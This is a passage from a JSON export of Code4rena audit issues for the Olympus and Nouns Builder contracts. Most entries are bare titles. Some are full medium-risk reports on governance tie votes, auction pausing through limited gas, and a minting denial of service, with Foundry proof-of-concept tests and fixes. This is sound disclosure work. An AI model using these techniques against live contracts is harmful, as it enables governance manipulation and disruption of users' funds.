["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/66", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Activating same Policy multiple times in Kernel possible", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/52", "labels": ["bug", "2 (Med Risk)"], "target": "2022-08-olympus-findings", "body": "Activating same Policy multiple times in Kernel possible"}, {"title": "Unexecutable proposals when Actions.MigrateKernel is not last instruction", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/549b96bcf8b97807738572605f6b1e26b33ef411/src/modules/INSTR.sol#L61 # Vulnerability details ## Impact & Proof Of Concept In `INSTR.sol`, it is correctly checked that a `ChangeExecutor` instruction only occurs at the last position to avoid situations where the other instructions are deemed as invalid. However, the same problem can occur for `MigrateKernel`. For instance, let's say we have a `MigrateKernel` followed by a `DeactivatePolicy` action. The `MigrateKernel` action will change the value of `kernel` within the policy. The `DeactivatePolicy` action tries to call `setActiveStatus` on the policy. However, this has a `onlyKernel` modifier and the call will therefore fail when it is done after the value of `kernel` was changed. ## Recommended Mitigation Steps Perform the same check for `MigrateKernel`."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/28", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/27", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Potential Reward tokens Rug Pull by heart admin.", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "Potential Reward tokens Rug Pull by heart admin."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/7", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/1", "labels": [], "target": "2022-08-olympus-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/722", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/720", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Malicious pausing the contract", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/719", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L204 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L206 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L235 # Vulnerability details # Vulnerability details ## Description There is a function `_createAuction` in `Auction` contract. It consist the following logic: ``` /// @dev Creates an auction for the next token function _createAuction() private { // Get the next token available for bidding try token.mint() returns (uint256 tokenId) { **creating of the auction for token with id equal to tokenId** // Pause the contract if token minting failed } catch Error(string memory) { _pause(); } } ``` According to the [EIP-150](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md) `call` opcode can consume as most `63/64` of parrent calls' gas. That means `token.mint()` can fail since there will be no gas. All in all, if `token.mint()` fail on gas and the rest gas is enough for pausing the contract by calling `_pause` in `catch` statement the contract will be paused. Please note, that a bug can be exploitable if the token.mint() consume more than 1.500.000 of gas, because 1.500.000 / 64 > 20.000 that need to pause the contract. Also, the logic of `token.mint()` includes traversing the array up to 100 times, that's heavy enough to reach 1.500.000 gas limit. ## Impact Contract can be paused by any user by passing special amount of gas for the call of `settleCurrentAndCreateNewAuction` (which consists of two internal calls of `_settleAuction` and `_createAuction` functions). ## Recommended Mitigation Steps Add a special check for upper bound of `gasLeft` at start of `_createAuction` function."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/718", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/717", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/716", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/713", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/712", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/709", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/704", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/698", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/696", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/687", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/686", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/684", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/683", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "[M3] Missing storage gaps in upgradeable contracts", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/682", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "[M3] Missing storage gaps in upgradeable contracts"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/679", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/670", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/665", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/663", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/661", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/658", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/657", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/655", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/648", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/645", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/642", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/639", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Auction.sol : Owner can unilaterly set the minBidIncrement value as per their wish", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/638", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "Auction.sol : Owner can unilaterly set the minBidIncrement value as per their wish"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/635", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "State function does not require majority of votes for supporting and passing a proposal", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/626", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L413-L456 # Vulnerability details ## Impact When determining the proposal's state, the following `state` function is called, which can execute `else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; }`. If `proposal.forVotes` and `proposal.againstVotes` are the same, the proposal is not considered defeated when the quorum votes are reached by the for votes. However, many electoral systems require that the for votes to be more than the against votes in order to conclude that the proposal is passed because the majority of votes supports it. If the deployed DAO wants to require the majority of votes to support a proposal in order to pass it, the `state` function would incorrectly conclude that the proposal is not defeated when the for votes and against votes are the same at the end of voting. As a result, critical proposals, such as for updating implementations or withdrawing funds from the treasury, that should not be passed can be passed, or vice versa, so the impact can be huge. https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L413-L456 ```solidity function state(bytes32 _proposalId) public view returns (ProposalState) { // Get a copy of the proposal Proposal memory proposal = proposals[_proposalId]; // Ensure the proposal exists if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST(); // If the proposal was executed: if (proposal.executed) { return ProposalState.Executed; // Else if the proposal was canceled: } else if (proposal.canceled) { return ProposalState.Canceled; // Else if the proposal was vetoed: } else if (proposal.vetoed) { return ProposalState.Vetoed; // Else if voting has not started: } else if (block.timestamp < proposal.voteStart) { return ProposalState.Pending; // Else if voting has not ended: } else if (block.timestamp < proposal.voteEnd) { return ProposalState.Active; // Else if the proposal failed (outvoted OR didn't reach quorum): } else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; // Else if the proposal has not been queued: } else if (settings.treasury.timestamp(_proposalId) == 0) { return ProposalState.Succeeded; // Else if the proposal can no longer be executed: } else if (settings.treasury.isExpired(_proposalId)) { return ProposalState.Expired; // Else the proposal is queued } else { return ProposalState.Queued; } } ``` ## Proof of Concept Please append the following test in `test\\Gov.t.sol`. This test will pass to demonstrate the described scenario. ```solidity function test_ProposalIsSucceededWhenNumberOfForAndAgainstVotesAreSame() public { vm.prank(founder); auction.unpause(); createVoters(7, 5 ether); vm.prank(address(treasury)); governor.updateQuorumThresholdBps(2000); bytes32 proposalId = createProposal(); vm.warp(block.timestamp + governor.votingDelay()); // number of for and against votes are both 2 castVotes(proposalId, 2, 2, 3); vm.warp(block.timestamp + governor.votingPeriod()); // the proposal is considered succeeded when number of for and against votes are the same after voting ends assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Succeeded)); // the proposal can be queued afterwards governor.queue(proposalId); assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Queued)); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps If there is no need to pass a proposal when `proposal.forVotes` and `proposal.againstVotes` are the same at the end of voting, then https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L441-L442 can be changed to the following code. ```solidity } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; ``` Otherwise, a governance configuration can be added to indicate whether the majority of votes is needed or not for supporting and passing a proposal. The `state` function then could return `ProposalState.Defeated` when `proposal.forVotes <= proposal.againstVotes` if so and when `proposal.forVotes < proposal.againstVotes` if not."}, {"title": "Compromised or malicious vetoer can veto any proposals with unrestricted power", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/622", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-09-nouns-builder-findings", "body": "Compromised or malicious vetoer can veto any proposals with unrestricted power"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/619", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Quorum votes have no effect for determining whether proposal is defeated or succeeded when token supply is low", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/607", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "Quorum votes have no effect for determining whether proposal is defeated or succeeded when token supply is low"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/593", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/592", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/587", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/585", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/584", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/577", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/573", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/572", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/568", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/556", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/554", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/552", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/551", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/548", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/547", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/544", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/543", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Loss of Veto Power can Lead to 51% Attack", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/533", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-09-nouns-builder-findings", "body": "Loss of Veto Power can Lead to 51% Attack"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/532", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/530", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/528", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/527", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Index out of bounds error when properties length is more than attributes length breaks minting", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/523", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/token/metadata/MetadataRenderer.sol#L188-L198 # Vulnerability details ## Description When a token is minted, the ```MetadataRenderer.sol``` ```onMinted``` function is called which will set the particular token's attributes to a random item from one of the properties. A token has a maximum of 16 attributes, the first one being the total number of properties. The properties from which the token receives its attributes are supplied by the owner of the ```MetadataRenderer.sol``` contract by calling ```addProperties```. The issue is that the number of properties the owner can supply is not limited. If the number of properties is more than 15 then the ```onMinted``` function will revert due to the limit on the number of attributes a token may have. ## Impact Since ```onMinted``` is always called when tokens are minted, the DAO will not be able to mint new tokens. There does not seem to be a way to remove properties so this would be unrecoverable. ## Proof of Concept Test code added to ```Token.t.sol```: ```solidity function test_MetadataProperties() public { createUsers(2, 1 ether); address[] memory wallets = new address[](2); uint256[] memory percents = new uint256[](2); uint256[] memory vestExpirys = new uint256[](2); uint256 pct = 50; uint256 end = 4 weeks; unchecked { for (uint256 i; i < 2; ++i) { wallets[i] = otherUsers[i]; percents[i] = pct; vestExpirys[i] = end; } } deployWithCustomFounders(wallets, percents, vestExpirys); // Check deployed correctly assertEq(token.totalFounders(), 2); assertEq(token.totalFounderOwnership(), 100); // Create 16 properties and items string[] memory names = new string[](16); MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](16); for (uint256 j; j < 16; j++) { names[j] = \"aaa\"; // Add random properties items[j].name = \"aaa\"; // Add random items items[j].propertyId = uint16(j); // Make sure all properties have items items[j].isNewProperty = true; } MetadataRendererTypesV1.IPFSGroup memory group = MetadataRendererTypesV1.IPFSGroup( \"aaa\", \"aaa\" ); // Add random IPFS group // Add 16 properties vm.prank(otherUsers[0]); metadataRenderer.addProperties(names, items, group); // Attempt to mint vm.prank(address(auction)); vm.expectRevert(stdError.indexOOBError); token.mint(); } ``` The test code above shows that the owner of ```MetadataRenderer.sol``` is able to add 16 properties with 1 items each. The ```auction``` contract is then unable to mint due to an \"Index out of bounds\" error. Code from the ```onMinted``` function in ```MetadataRenderer.sol```: ```solidity // For each property: for (uint256 i = 0; i < numProperties; ++i) { // Get the number of items to choose from uint256 numItems = properties[i].items.length; // Use the token's seed to select an item tokenAttributes[i + 1] = uint16(seed % numItems); // Adjust the randomness seed >>= 16; } ``` The code above shows that when a token is minted and ```onMinted``` is called it will attempt to assign more than 16 attributes to the token which is not possible due to the ```tokenAttributes``` being limited to 16. ## Recommended Mitigation Steps The maximum amount of properties an owner can add should be less than the maximum amount of attributes any token can have. Consider either limiting the ```properties``` variable in ```MetadataRenderer.sol``` to 15 or allow any number of attributes to be added to a token."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/520", "labels": ["bug", "QA (Quality Assurance)"], "target": 